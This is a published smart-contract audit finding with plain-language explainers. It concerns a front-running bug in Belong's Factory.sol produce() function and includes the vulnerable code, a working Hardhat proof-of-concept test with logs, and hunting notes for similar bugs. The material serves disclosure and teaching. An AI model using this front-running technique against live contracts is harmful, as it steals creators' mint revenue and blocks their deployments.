Skip to content
Business logic Audit finding Intermediate

Name-squatting / front-run on produce() allows attacker to preempt legitimate creator and capture future mint revenue

The produce() function derives the deterministic salt only from the collection name and symbol, not the creator address. An attacker can call produce() first with the same name and symbol, becoming the registered creator and capturing future mint revenue while blocking the legitimate creator.

Belong

Originally disclosed on Immunefi

57738 sc medium name squatting front run on produce allows attacker to preempt legitimate creator and capture future mint revenue

Description

Brief / Intro

The produce() function derives the deterministic salt only from name and symbol. An attacker can call produce() first for a given name/symbol and become the registered creator — capturing future royalties/fees and blocking the real creator.

Vulnerability Details

  • produce() computes hashedSalt = _metadataHash(name, symbol) and uses that to check/create the deterministic contracts.
  • Because hashedSalt does not include the creator address, anyone who knows the intended name+symbol can call produce() first.
  • The first caller becomes creator in getNftInstanceInfo[hashedSalt] and in the AccessToken initialization. The legitimate creator who tries later will be blocked by TokenAlreadyExists().
  • The attacker can therefore receive creator payouts or route royalties to themselves when someone mints NFT, and can prevent the real creator from deploying their collection.

Relevant code excerpt from Factory.sol:

JavaScript
function produce(AccessTokenInfo memory accessTokenInfo, bytes32 referralCode)
        external
        returns (address nftAddress)
    {
        FactoryParameters memory factoryParameters = _nftFactoryParameters;

        factoryParameters.signerAddress.checkAccessTokenInfo(accessTokenInfo);

         // @audit-issue : missing creator address from hash attacker can dos legitimate creator .
        bytes32 hashedSalt = _metadataHash(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol);

        require(getNftInstanceInfo[hashedSalt].nftAddress == address(0), TokenAlreadyExists());

        accessTokenInfo.paymentToken = accessTokenInfo.paymentToken == address(0)
            ? factoryParameters.defaultPaymentCurrency
            : accessTokenInfo.paymentToken;

        Implementations memory currentImplementations = _currentImplementations;

        address predictedRoyaltiesReceiver =
            currentImplementations.royaltiesReceiver.predictDeterministicAddress(hashedSalt, address(this));
        address predictedAccessToken =
            currentImplementations.accessToken.predictDeterministicAddressERC1967(hashedSalt, address(this));

        address receiver;
        _setReferralUser(referralCode, msg.sender);
        if (accessTokenInfo.feeNumerator > 0) {
            receiver = currentImplementations.royaltiesReceiver.cloneDeterministic(hashedSalt);
            require(predictedRoyaltiesReceiver == receiver, RoyaltiesReceiverAddressMismatch());
            RoyaltiesReceiverV2(payable(receiver))
                .initialize(
                    RoyaltiesReceiverV2.RoyaltiesReceivers(
                        msg.sender, factoryParameters.platformAddress, referrals[referralCode].creator
                    ),
                    Factory(address(this)),
                    referralCode
                );
        }

        nftAddress = currentImplementations.accessToken.deployDeterministicERC1967(hashedSalt);
        require(predictedAccessToken == nftAddress, AccessTokenAddressMismatch());
@->        AccessToken(nftAddress)
            .initialize(
                AccessToken.AccessTokenParameters({
                    factory: Factory(address(this)),
                    info: accessTokenInfo,
                    creator: msg.sender,
                    feeReceiver: receiver,
                    referralCode: referralCode
                }),
                factoryParameters.transferValidator
            );

        NftInstanceInfo memory accessTokenInstanceInfo = NftInstanceInfo({
            creator: msg.sender,
            nftAddress: nftAddress,
            royaltiesReceiver: receiver,
            metadata: NftMetadata({name: accessTokenInfo.metadata.name, symbol: accessTokenInfo.metadata.symbol})
        });

@->        getNftInstanceInfo[hashedSalt] = accessTokenInstanceInfo;

        emit AccessTokenCreated(hashedSalt, accessTokenInstanceInfo);
    }

Relevant mint and payment flow excerpts:

From AccessToken mintStaticPrice:

JavaScript
function mintStaticPrice(
        address receiver,
        StaticPriceParameters[] calldata paramsArray,
        address expectedPayingToken,
        uint256 expectedMintPrice
    ) external payable expectedTokenCheck(expectedPayingToken) nonReentrant {
        Factory.FactoryParameters memory factoryParameters = parameters.factory.nftFactoryParameters();

        require(paramsArray.length <= factoryParameters.maxArraySize, WrongArraySize());

        AccessTokenInfo memory info = parameters.info;

        uint256 amountToPay;
        for (uint256 i; i < paramsArray.length; ++i) {
   .........      
   }

            _baseMint(paramsArray[i].tokenId, receiver, paramsArray[i].tokenUri);
        }

  @->      require(_pay(amountToPay, expectedPayingToken) == expectedMintPrice, PriceChanged(expectedMintPrice));
    }

From _pay:

JavaScript
 function _pay(uint256 price, address expectedPayingToken) private returns (uint256 amount) {
        .........

        uint256 fees = (amount * factoryParameters.platformCommission) / PLATFORM_COMISSION_DENOMINATOR;
        uint256 amountToCreator;
        unchecked {
            amountToCreator = amount - fees;
        }

        bytes32 referralCode = _parameters.referralCode;
        uint256 referralFees;
        address refferalCreator;
        if (referralCode != bytes32(0)) {
            referralFees = _parameters.factory.getReferralRate(_parameters.creator, referralCode, fees);
            if (referralFees > 0) {
                refferalCreator = _parameters.factory.getReferralCreator(referralCode);
                unchecked {
                    fees -= referralFees;
                }
            }
        }

        if (expectedPayingToken == NATIVE_CURRENCY_ADDRESS) {
            if (fees > 0) {
                factoryParameters.platformAddress.safeTransferETH(fees);
            }
            if (referralFees > 0) {
                refferalCreator.safeTransferETH(referralFees);
            }

@->            _parameters.creator.safeTransferETH(amountToCreator);
        } else {
            expectedPayingToken.safeTransferFrom(msg.sender, address(this), amount);

            if (fees > 0) {
                expectedPayingToken.safeTransfer(factoryParameters.platformAddress, fees);
            }
            if (referralFees > 0) {
                expectedPayingToken.safeTransfer(refferalCreator, referralFees);
            }

@->            expectedPayingToken.safeTransfer(_parameters.creator, amountToCreator);
        }

        emit Paid(msg.sender, expectedPayingToken, amount);
    }

Impact Details

An attacker can:

  • Steal future mint revenue and royalties.
  • Block legitimate creators from launching their collections (griefing).
  • Damage the protocol’s reputation.

This is direct, ongoing financial harm — not just a one-time annoyance.

References

Proof of Concept (PoC)

{% stepper %} {% step %}

Step 1 — Alice prepares signed message off-chain

  • Alice creates signed message for her AccessToken collection (name, symbol, contractURI, feeNumerator, chainId).
  • This signature is what produce() expects to verify. {% endstep %}

{% step %}

Step 2 — Attacker front-runs produce()

  • Bob monitors the mempool, sees Alice's produce() transaction, and front-runs with higher gas by calling produce() with the same AccessTokenInfo.
  • Because hashedSalt is only derived from name+symbol (not creator), Bob becomes the creator for that hashedSalt. {% endstep %}

{% step %}

Step 3 — Alice's produce() reverts

  • Alice's transaction reverts with TokenAlreadyExists, losing gas and unable to deploy her collection. {% endstep %}

{% step %}

Step 4 — Buyers mint from the attacker's collection

  • Buyers mint from the deployed collection; payments/creator share are routed to the attacker (Bob) via _pay, since the on-chain creator is Bob.
  • Result: attacker receives creator share; Alice receives nothing. {% endstep %} {% endstepper %}

PoC test (use in factory.test.ts — run with yarn hardhat test):

JavaScript
it.only('PoC: attacker pre-deploys AccessToken and collects mint revenue from buys', async () => {
  const { factory, validator, alice, bob, charlie, signer } = await loadFixture(fixture);

  const nftName = 'AccessToken 1';
  const nftSymbol = 'AT1';
  const contractURI = 'contractURI/AccessToken123';
  const price = ethers.utils.parseEther('0.05'); // single-mint price
  const feeNumerator = 500;

  console.log('\n=== Initial Setup ===');
  console.log('Legitimate creator (Alice):', alice.address);
  console.log('Attacker (Bob):', bob.address);
  console.log('Buyer (Charlie):', charlie.address);

  // -------------------------
  // Step 1: Legitimate creator (Alice) prepares signed message off-chain
  // -------------------------
  console.log('\n=== Step 1: Alice prepares AccessToken deployment signature ===');
  const message = hashAccessTokenInfo(nftName, nftSymbol, contractURI, feeNumerator, chainId);
  const signature = EthCrypto.sign(signer.privateKey, message);
  console.log('Signature created for:', nftName, '/', nftSymbol);

  // AccessTokenInfo structured exactly as produce expects
  const accessTokenInfo: AccessTokenInfoStruct = {
    metadata: { name: nftName, symbol: nftSymbol },
    contractURI: contractURI,
    paymentToken: NATIVE_CURRENCY_ADDRESS,
    mintPrice: price,
    whitelistMintPrice: price,
    transferable: true,
    maxTotalSupply: BigNumber.from('1000'),
    feeNumerator,
    collectionExpire: BigNumber.from('86400'),
    signature: signature,
  };

  // -------------------------
  // Step 2: Attacker (Bob) monitors mempool and front-runs Alice's produce() call
  // -------------------------
  console.log('\n=== Step 2: Attacker (Bob) front-runs and calls produce() ===');
  console.log('Bob sees Alice\'s transaction in mempool and front-runs with higher gas');
  
  const txBob = await factory.connect(bob).produce(accessTokenInfo, ethers.constants.HashZero);
  const rcptBob = await txBob.wait();

  // Get AccessTokenCreated event and deployed address
  const evtBob = rcptBob.events?.find((e: any) => e.event === 'AccessTokenCreated');
  expect(evtBob, 'AccessTokenCreated event not found').to.not.be.undefined;
  const instanceInfoBob = evtBob!.args[1];
  const deployedAddressBob = instanceInfoBob.nftAddress;
  expect(deployedAddressBob).to.not.equal(ethers.constants.AddressZero);

  console.log(' Collection deployed at:', deployedAddressBob);
  console.log(' Bob successfully front-ran Alice!');

  // Confirm the deployed contract recorded bob as creator
  const nftBob = await ethers.getContractAt('AccessToken', deployedAddressBob);
  const params = await nftBob.parameters();
  const creatorBob = params.creator;
  expect(creatorBob).to.equal(bob.address);
  console.log(' Collection creator is now Bob (attacker):', creatorBob);

  // -------------------------
  // Step 3: Legitimate creator (Alice) tries to produce and fails
  // -------------------------
  console.log('\n=== Step 3: Alice tries to deploy but transaction reverts ===');
  
  await expect(
    factory.connect(alice).produce(accessTokenInfo, ethers.constants.HashZero)
  ).to.be.revertedWithCustomError(factory, 'TokenAlreadyExists');

  console.log(' Alice\'s transaction reverted - collection already exists!');
  console.log(' Alice lost gas fees and cannot deploy her collection');

  // -------------------------
  // Step 4: Buyer (Charlie) mints from Bob's collection via mintStaticPrice()
  // -------------------------
  console.log('\n=== Step 4: Buyer (Charlie) mints from the collection ===');
  console.log('Charlie thinks he\'s supporting Alice, but is actually paying Bob');
  
  const tokenId = BigNumber.from(1);
  const tokenUri = 'ipfs://token-1';
  const whitelisted = false;

  // Build the message hash for static price mint
  // Based on checkStaticPriceParameters: keccak256(abi.encodePacked(receiver, tokenId, tokenUri, whitelisted, chainid))
  const staticMsg = ethers.utils.solidityKeccak256(
    ['address', 'uint256', 'string', 'bool', 'uint256'],
    [charlie.address, tokenId, tokenUri, whitelisted, chainId]
  );
  
  const staticSig = EthCrypto.sign(signer.privateKey, staticMsg);

  const paramsArray = [
    {
      tokenId,
      tokenUri,
      whitelisted,
      signature: staticSig,
    },
  ];

  const expectedMintPrice = price;

  // Snapshot balances before the mint
  const bobBalanceBefore = await ethers.provider.getBalance(bob.address);
  const charlieBalanceBefore = await ethers.provider.getBalance(charlie.address);
  const aliceBalanceBefore = await ethers.provider.getBalance(alice.address);

  console.log('Charlie pays:', ethers.utils.formatEther(price), 'ETH to mint');

  // Charlie sends the mint transaction to Bob's collection
  const txMint = await nftBob
    .connect(charlie)
    .mintStaticPrice(
      charlie.address,
      paramsArray,
      NATIVE_CURRENCY_ADDRESS,
      expectedMintPrice,
      { value: expectedMintPrice },
    );
  const rcptMint = await txMint.wait();

  // Snapshot balances after the mint
  const bobBalanceAfter = await ethers.provider.getBalance(bob.address);
  const charlieBalanceAfter = await ethers.provider.getBalance(charlie.address);
  const aliceBalanceAfter = await ethers.provider.getBalance(alice.address);

  // Get platform commission to calculate expected shares
  const nftFactoryParams = await factory.nftFactoryParameters();
  const platformCommissionBps = nftFactoryParams.platformCommission;

  // Calculate fees and creator share
  const fees = price.mul(platformCommissionBps).div(10000);
  const expectedCreatorShare = price.sub(fees);

  const bobActualGain = bobBalanceAfter.sub(bobBalanceBefore);
  const aliceGain = aliceBalanceAfter.sub(aliceBalanceBefore);
  
  console.log('\n=== Financial Impact ===');
  console.log('Mint price:', ethers.utils.formatEther(price), 'ETH');
  console.log('Platform commission:', platformCommissionBps.toString(), 'bps');
  console.log('Platform fees:', ethers.utils.formatEther(fees), 'ETH');
  console.log('Creator share:', ethers.utils.formatEther(expectedCreatorShare), 'ETH');
  console.log('');
  console.log('Bob (attacker) gained:', ethers.utils.formatEther(bobActualGain), 'ETH ');
  console.log('Alice (victim) gained:', ethers.utils.formatEther(aliceGain), 'ETH (should have received creator share)');

  // Assert Bob (the attacker) received the creator share
  expect(bobActualGain).to.equal(expectedCreatorShare);
  expect(aliceGain).to.equal(0); // Alice gets nothing

  console.log('\n Attack successful! Bob stole the creator revenue');

  // Verify Charlie owns the token
  const ownerOfToken = await nftBob.ownerOf(tokenId);
  expect(ownerOfToken).to.equal(charlie.address);
  console.log('Charlie received token #1 (but paid the wrong creator)');

  // -------------------------
  // Summary
  // -------------------------
  console.log('\n=== ATTACK SUMMARY ===');
  console.log(' Attack Flow:');
  console.log('   1. Alice creates signed message for her AccessToken collection');
  console.log('   2. Bob monitors mempool and sees Alice\'s produce() transaction');
  console.log('   3. Bob front-runs with higher gas, calling produce() with same signature');
  console.log('   4. Bob\'s transaction executes first - he becomes the creator');
  console.log('   5. Alice\'s transaction reverts (TokenAlreadyExists)');
  console.log('   6. Buyers mint from Bob\'s collection, enriching the attacker');
  console.log('');
  console.log(' Financial Impact:');
  console.log('   - Bob gained:', ethers.utils.formatEther(expectedCreatorShare), 'ETH (from 1 mint)');
  console.log('   - Alice gained: 0 ETH (lost gas + lost all creator revenue)');
  console.log('   - Total potential theft: ALL future mint revenue from this collection');
  console.log('');
  console.log('   - Complete collection hijacking');
  console.log('   - Permanent loss of creator revenue');
  console.log('   - Reputation damage (buyers think they support Alice)');
  console.log('   - No recovery mechanism');
  console.log('');
  console.log(' Proof:');
  console.log('   - Deployed collection:', deployedAddressBob);
  console.log('   - On-chain creator:', creatorBob, '(Bob, not Alice)');
  console.log('   - Revenue recipient:', bob.address, '(attacker)');
  console.log('');
  console.log(' POC Complete: Front-running attack successfully demonstrated');
});

Logs (execution output)

<details> <summary>Show logs</summary>
JavaScript
=== Initial Setup ===
Legitimate creator (Alice): 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Attacker (Bob): 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
Buyer (Charlie): 0x90F79bf6EB2c4f870365E785982E1f101E93b906

=== Step 1: Alice prepares AccessToken deployment signature ===
Signature created for: AccessToken 1 / AT1

=== Step 2: Attacker (Bob) front-runs and calls produce() ===
Bob sees Alice's transaction in mempool and front-runs with higher gas
 Collection deployed at: 0xf60e150b29990Eb6CA44391dF9E9aC6697f145d7
 Bob successfully front-ran Alice!
 Collection creator is now Bob (attacker): 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC

=== Step 3: Alice tries to deploy but transaction reverts ===
 Alice's transaction reverted - collection already exists!
 Alice lost gas fees and cannot deploy her collection

=== Step 4: Buyer (Charlie) mints from the collection ===
Charlie thinks he's supporting Alice, but is actually paying Bob
Charlie pays: 0.05 ETH to mint

=== Financial Impact ===
Mint price: 0.05 ETH
Platform commission: 100 bps
Platform fees: 0.0005 ETH
Creator share: 0.0495 ETH

Bob (attacker) gained: 0.0495 ETH 
Alice (victim) gained: 0.0 ETH (should have received creator share)

 Attack successful! Bob stole the creator revenue
Charlie received token #1 (but paid the wrong creator)

=== ATTACK SUMMARY ===
 Attack Flow:
   1. Alice creates signed message for her AccessToken collection
   2. Bob monitors mempool and sees Alice's produce() transaction
   3. Bob front-runs with higher gas, calling produce() with same signature
   4. Bob's transaction executes first - he becomes the creator
   5. Alice's transaction reverts (TokenAlreadyExists)
   6. Buyers mint from Bob's collection, enriching the attacker

 Financial Impact:
   - Bob gained: 0.0495 ETH (from 1 mint)
   - Alice gained: 0 ETH (lost gas + lost all creator revenue)
   - Total potential theft: ALL future mint revenue from this collection

   - Complete collection hijacking
   - Permanent loss of creator revenue
   - Reputation damage (buyers think they support Alice)
   - No recovery mechanism

 Proof:
   - Deployed collection: 0xf60e150b29990Eb6CA44391dF9E9aC6697f145d7
   - On-chain creator: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC (Bob, not Alice)
   - Revenue recipient: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC (attacker)

 POC Complete: Front-running attack successfully demonstrated
      ✔ PoC: attacker pre-deploys AccessToken and collects mint revenue from buys (2162ms)
</details>

The original report as published on Immunefi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Belong is a platform for launching NFT collections. The contract in scope is Factory.sol, the platform factory that deploys per-collection contracts. A creator prepares an AccessTokenInfo structure (metadata name and symbol, contract URI, payment token, mint prices, transferability, supply cap, fee numerator, expiry and a signature) and calls produce(). The factory verifies the signed metadata, derives a deterministic salt, deploys a royalties receiver and an AccessToken proxy at deterministic addresses, and records the caller as the collection's creator in getNftInstanceInfo.

Minting happens later through functions such as mintStaticPrice() on the deployed AccessToken. The payment path in _pay() splits the mint price into a platform commission, an optional referral fee and the remainder, which is sent to the creator recorded in the collection's parameters.

The report is a medium-severity smart contract finding on the Belong audit competition, filed under the impact category "Theft of unclaimed royalties".

Setup

The proof of concept is a Hardhat test added to factory.test.ts and run with yarn hardhat test. It uses a fixture that provides the factory, a transfer validator, and three accounts: Alice (the legitimate creator), Bob (the attacker) and Charlie (a buyer), plus a signer whose private key is used to produce the off-chain signatures that produce() and the mint path expect.

The test parameters are:

Item Value
Collection name AccessToken 1
Symbol AT1
Contract URI contractURI/AccessToken123
Mint price 0.05 ETH
Royalty fee numerator 500
Max total supply 1000
Collection expiry 86400
Platform commission (from the run) 100 bps

The precondition is that the attacker can obtain the signed AccessTokenInfo for a collection a legitimate creator is about to deploy, for example by observing the creator's produce() transaction in the mempool.

Finding it

The researcher looked at how produce() builds its deterministic salt:

JavaScript
bytes32 hashedSalt = _metadataHash(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol);

The salt is derived only from the collection's name and symbol. It does not include the creator address. The same salt is used to check whether the collection already exists, to predict and clone the royalties receiver, to deploy the AccessToken proxy, and as the key under which the instance info is stored. Because the creator is not part of the salt, the first caller to use a given name and symbol wins: the caller becomes creator both in the AccessToken initialisation and in getNftInstanceInfo[hashedSalt]. A later legitimate creator is rejected by the existence check.

Exploitation

Step 1: Alice prepares the signed message off-chain

Alice creates the signed message for her collection (name, symbol, contract URI, fee numerator, chain ID). This is the signature that produce() verifies. In the test:

JavaScript
const message = hashAccessTokenInfo(nftName, nftSymbol, contractURI, feeNumerator, chainId);
const signature = EthCrypto.sign(signer.privateKey, message);

The AccessTokenInfo is then assembled exactly as produce() expects it:

JavaScript
const accessTokenInfo: AccessTokenInfoStruct = {
  metadata: { name: nftName, symbol: nftSymbol },
  contractURI: contractURI,
  paymentToken: NATIVE_CURRENCY_ADDRESS,
  mintPrice: price,
  whitelistMintPrice: price,
  transferable: true,
  maxTotalSupply: BigNumber.from('1000'),
  feeNumerator,
  collectionExpire: BigNumber.from('86400'),
  signature: signature,
};

Step 2: Bob front-runs produce()

Bob monitors the mempool, sees Alice's produce() transaction and submits the same call with the same AccessTokenInfo and a higher gas price:

JavaScript
const txBob = await factory.connect(bob).produce(accessTokenInfo, ethers.constants.HashZero);
const rcptBob = await txBob.wait();

The test reads the AccessTokenCreated event to get the deployed address and confirms that the on-chain creator is Bob:

JavaScript
const evtBob = rcptBob.events?.find((e: any) => e.event === 'AccessTokenCreated');
expect(evtBob, 'AccessTokenCreated event not found').to.not.be.undefined;
const instanceInfoBob = evtBob!.args[1];
const deployedAddressBob = instanceInfoBob.nftAddress;
expect(deployedAddressBob).to.not.equal(ethers.constants.AddressZero);

const nftBob = await ethers.getContractAt('AccessToken', deployedAddressBob);
const params = await nftBob.parameters();
const creatorBob = params.creator;
expect(creatorBob).to.equal(bob.address);

In the recorded run the collection is deployed at [redacted] and the creator is Bob's address.

Step 3: Alice's produce() reverts

Alice then submits her own transaction with the same info:

JavaScript
await expect(
  factory.connect(alice).produce(accessTokenInfo, ethers.constants.HashZero)
).to.be.revertedWithCustomError(factory, 'TokenAlreadyExists');

The call reverts with TokenAlreadyExists. Alice loses gas and cannot deploy her collection.

Step 4: A buyer mints and pays the attacker

Charlie mints from the deployed collection through mintStaticPrice(). The test builds the mint signature over the receiver, token ID, token URI, whitelist flag and chain ID:

JavaScript
const staticMsg = ethers.utils.solidityKeccak256(
  ['address', 'uint256', 'string', 'bool', 'uint256'],
  [charlie.address, tokenId, tokenUri, whitelisted, chainId]
);

const staticSig = EthCrypto.sign(signer.privateKey, staticMsg);

and calls the mint with the expected price:

JavaScript
const txMint = await nftBob
  .connect(charlie)
  .mintStaticPrice(
    charlie.address,
    paramsArray,
    NATIVE_CURRENCY_ADDRESS,
    expectedMintPrice,
    { value: expectedMintPrice },
  );

The test snapshots balances before and after, reads the platform commission from the factory, and computes the expected split:

JavaScript
const nftFactoryParams = await factory.nftFactoryParameters();
const platformCommissionBps = nftFactoryParams.platformCommission;

const fees = price.mul(platformCommissionBps).div(10000);
const expectedCreatorShare = price.sub(fees);

const bobActualGain = bobBalanceAfter.sub(bobBalanceBefore);
const aliceGain = aliceBalanceAfter.sub(aliceBalanceBefore);

expect(bobActualGain).to.equal(expectedCreatorShare);
expect(aliceGain).to.equal(0);

With a mint price of 0.05 ETH and a commission of 100 bps, the platform fee is 0.0005 ETH and the creator share is 0.0495 ETH. The run shows Bob gaining 0.0495 ETH and Alice gaining 0.0 ETH. Charlie receives token #1, having paid the wrong creator.

Root cause

produce() derives hashedSalt from name and symbol only. That salt drives four things:

  1. the existence check require(getNftInstanceInfo[hashedSalt].nftAddress == address(0), TokenAlreadyExists());
  2. the deterministic addresses of the royalties receiver and the AccessToken proxy;
  3. the creator field passed into AccessToken.initialize() as msg.sender;
  4. the key under which NftInstanceInfo is stored.

Because the creator address is not part of the salt, the identity of the collection is decoupled from the identity of its creator. The first caller to present a valid signed AccessTokenInfo for a name and symbol claims that pair permanently. The signature check only proves that the metadata was authorised by the platform signer; it does not bind the deployment to a particular creator, so a third party holding the same signed info can deploy it first.

The payment path then follows the recorded creator. In _pay(), after the platform fee and any referral fee are deducted, the remainder is sent to _parameters.creator, which was set to msg.sender at deployment time. Nothing in the mint path re-checks who the intended creator was.

Impact

An attacker who knows the intended name and symbol of a collection can:

  • become the registered creator and receive the creator share of every mint, and can route royalties to themselves through the royalties receiver;
  • block the legitimate creator, whose produce() reverts with TokenAlreadyExists, costing them gas and preventing deployment;
  • damage the protocol's reputation, since buyers believe they are supporting the original creator.

The report describes this as direct, ongoing financial harm rather than a one-time annoyance, and notes there is no recovery mechanism. The attack requires the attacker to obtain the signed AccessTokenInfo (for example by observing it in the mempool) and to call produce() before the legitimate creator.

Fix

The report does not describe a fix or a change made to the code.

Variants to test

  • Other factory-style deployers. Look for create2 or cloneDeterministic deployments where the salt is built from user-supplied metadata (name, symbol, URI, nonce) but not from the caller. A positive result is a second account deploying the same metadata to a different address, or the first account blocking the second with an existence error.
  • Signature schemes that authorise metadata but not the deployer. Check whether the signed struct includes the creator or a deployer field. If it does not, try replaying the same signed payload from another account. A positive result is a successful deployment by an account that did not sign or request it.
  • Payment routing tied to msg.sender at deploy time. Trace where the creator address is stored and whether any later function lets the original creator reclaim it. A positive result is a mint whose creator share lands with the front-runner.
  • Royalty receiver prediction. Where a royalties receiver is cloned deterministically from the same salt, check whether the front-runner also controls that receiver. A positive result is royalty payments arriving at the attacker's address.

Hunting notes

This class of bug hides in factory and registry contracts that use deterministic deployment for user-created objects. During review, the signals are a salt computed from metadata alone, an existence check keyed on that salt, and a creator or owner field set from msg.sender at deployment. Any place where a signed payload is verified but the signer's intent is not bound to the caller is worth a second look, particularly when the payload is visible in the mempool before it is mined.

To show impact, the researcher built a full end-to-end test: the attacker deploys first, the legitimate creator's transaction reverts with the specific custom error, and a buyer's mint is traced through the payment split to show the creator share arriving at the attacker's balance while the legitimate creator receives nothing.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

Belong is a platform where people launch NFT collections. An NFT is a digital item that can be owned and sold, and a collection is a group of them created by one person. To start a collection, the creator fills in a form (a name, a short symbol, a price, and so on), the platform signs that form to say it is approved, and the creator sends it to a smart contract called Factory.sol. A smart contract is a program that lives on a blockchain and runs automatically; nobody can change its behaviour after it is deployed.

The factory takes the form, checks the platform's signature, and builds the collection at a fixed address. The address is worked out from a value called a salt, which is a piece of data fed into a formula so the result is always the same for the same input. The factory also writes down who called it, and that caller becomes the collection's creator. Later, when someone buys an NFT from the collection, most of the money goes to that recorded creator.

The bug is that the salt is built only from the collection's name and symbol. It does not include the creator's account. So if an attacker sees a creator about to launch a collection called, say, AccessToken 1 with symbol AT1, the attacker can send the same approved form to the factory first, paying a higher fee to get ahead in the queue. The attacker becomes the recorded creator. The real creator's transaction then fails because a collection with that name and symbol already exists. Every future sale pays the attacker instead.

This is a medium-severity finding filed under the impact category "Theft of unclaimed royalties". Royalties are a share of every resale paid to the creator.

Background you need

A few ideas come up again and again, so here they are from zero.

Blockchain and transactions. A blockchain is a shared ledger that many computers keep copies of. To change anything on it you send a transaction, which is a request that gets recorded permanently. Transactions wait in a holding area called the mempool before they are picked up and added to the ledger.

Smart contracts and addresses. A smart contract is code stored on the blockchain. Every contract has an address, a long string starting with 0x, which is how you refer to it. Accounts (people or attackers) also have addresses.

Gas. Every transaction costs a small fee called gas, paid to the computers that process it. If you offer more gas, your transaction is usually processed sooner. This is what makes front-running possible.

Front-running. Imagine two people posting letters to the same office. If one pays for express delivery, their letter arrives first even if the other posted earlier. In blockchain terms, an attacker who sees a pending transaction in the mempool can send their own version with a higher gas price and have it confirmed first.

Deterministic deployment. Normally a new contract gets a random-looking address. A deterministic deployment instead computes the address from a salt, so the same salt always gives the same address. This is useful because you can predict where a contract will live before you deploy it. The salt here is produced by a helper called _metadataHash.

Signatures. A signature is a cryptographic stamp proving that a particular key approved some data. The platform's signer key signs the collection details, and the factory checks that signature before deploying. A signature proves approval, but on its own it does not prove who is allowed to use it.

Custom errors. When a smart contract refuses to do something, it can stop with an error. A custom error is a named one, such as TokenAlreadyExists, so the reason is readable.

bps (basis points). A way of writing percentages where 10000 bps equals 100%. So 100 bps is 1%.

The setup

The proof of concept is a test written for Hardhat, a tool for running and testing smart contracts locally. It is added to a file called factory.test.ts and run with:

Bash
yarn hardhat test

yarn is a package manager that runs the test command, and hardhat test executes the test file. The test uses a fixture, which is a prepared starting state that provides the factory contract, a transfer validator (a contract that checks transfers are allowed), and three accounts:

  • Alice, the legitimate creator;
  • Bob, the attacker;
  • Charlie, a buyer.

There is also a signer whose private key produces the off-chain signatures that produce() and the mint path expect. A private key is the secret that lets its owner create signatures.

The test parameters are:

Item Value
Collection name AccessToken 1
Symbol AT1
Contract URI contractURI/AccessToken123
Mint price 0.05 ETH
Royalty fee numerator 500
Max total supply 1000
Collection expiry 86400
Platform commission (from the run) 100 bps

A contract URI is a link to information about the collection. ETH is the currency of the Ethereum blockchain. The precondition for the attack is that the attacker can obtain the signed collection details, for example by seeing the creator's pending produce() transaction in the mempool.

Finding it

The researcher looked at how produce() builds its salt:

JavaScript
bytes32 hashedSalt = _metadataHash(accessTokenInfo.metadata.name, accessTokenInfo.metadata.symbol);

Line by line: bytes32 hashedSalt declares a variable that will hold a 32-byte value. _metadataHash(...) is a helper that turns its inputs into that value. The only inputs are the collection's name and symbol. The creator's address is nowhere in the formula.

That same salt is then used for four jobs: checking whether the collection already exists, predicting and cloning the royalties receiver (a contract that collects royalty payments), deploying the AccessToken contract (the collection itself), and storing the collection's details under that key. Because the creator is not part of the salt, the first caller to use a given name and symbol wins. That caller becomes creator both in the AccessToken setup and in getNftInstanceInfo[hashedSalt]. A later legitimate creator is rejected by the existence check.

Exploitation

Step 1: Alice prepares the signed message off-chain

Alice creates the signed message for her collection, covering the name, symbol, contract URI, fee numerator and chain ID. A chain ID identifies which blockchain you are on. This is the signature that produce() verifies. In the test:

JavaScript
const message = hashAccessTokenInfo(nftName, nftSymbol, contractURI, feeNumerator, chainId);
const signature = EthCrypto.sign(signer.privateKey, message);

The first line builds the message from the collection details. The second line signs it with the signer's private key, producing a signature. This happens off-chain, meaning it is not a transaction and costs no gas; it is just data Alice will include in her later call.

The AccessTokenInfo is then assembled exactly as produce() expects it:

JavaScript
const accessTokenInfo: AccessTokenInfoStruct = {
  metadata: { name: nftName, symbol: nftSymbol },
  contractURI: contractURI,
  paymentToken: NATIVE_CURRENCY_ADDRESS,
  mintPrice: price,
  whitelistMintPrice: price,
  transferable: true,
  maxTotalSupply: BigNumber.from('1000'),
  feeNumerator,
  collectionExpire: BigNumber.from('86400'),
  signature: signature,
};

This is a single object holding every field the factory needs. metadata holds the name and symbol. contractURI points to collection information. paymentToken is set to the native currency (ETH) rather than some other token. mintPrice and whitelistMintPrice are both the price. transferable: true means the NFTs can be transferred. maxTotalSupply caps the collection at 1000 items. feeNumerator is the royalty setting. collectionExpire is how long the collection lasts. signature is the stamp from the previous block.

Step 2: Bob front-runs produce()

Bob watches the mempool, sees Alice's produce() transaction, and submits the same call with the same AccessTokenInfo and a higher gas price:

JavaScript
const txBob = await factory.connect(bob).produce(accessTokenInfo, ethers.constants.HashZero);
const rcptBob = await txBob.wait();

factory.connect(bob) means "call the factory as Bob". .produce(accessTokenInfo, ethers.constants.HashZero) sends the collection details with an empty referral code (HashZero is all zeros, meaning no referral). await txBob.wait() waits until the transaction is confirmed and returns the receipt, which is the record of what happened.

The test reads the AccessTokenCreated event to get the deployed address and confirms that the on-chain creator is Bob:

JavaScript
const evtBob = rcptBob.events?.find((e: any) => e.event === 'AccessTokenCreated');
expect(evtBob, 'AccessTokenCreated event not found').to.not.be.undefined;
const instanceInfoBob = evtBob!.args[1];
const deployedAddressBob = instanceInfoBob.nftAddress;
expect(deployedAddressBob).to.not.equal(ethers.constants.AddressZero);

const nftBob = await ethers.getContractAt('AccessToken', deployedAddressBob);
const params = await nftBob.parameters();
const creatorBob = params.creator;
expect(creatorBob).to.equal(bob.address);

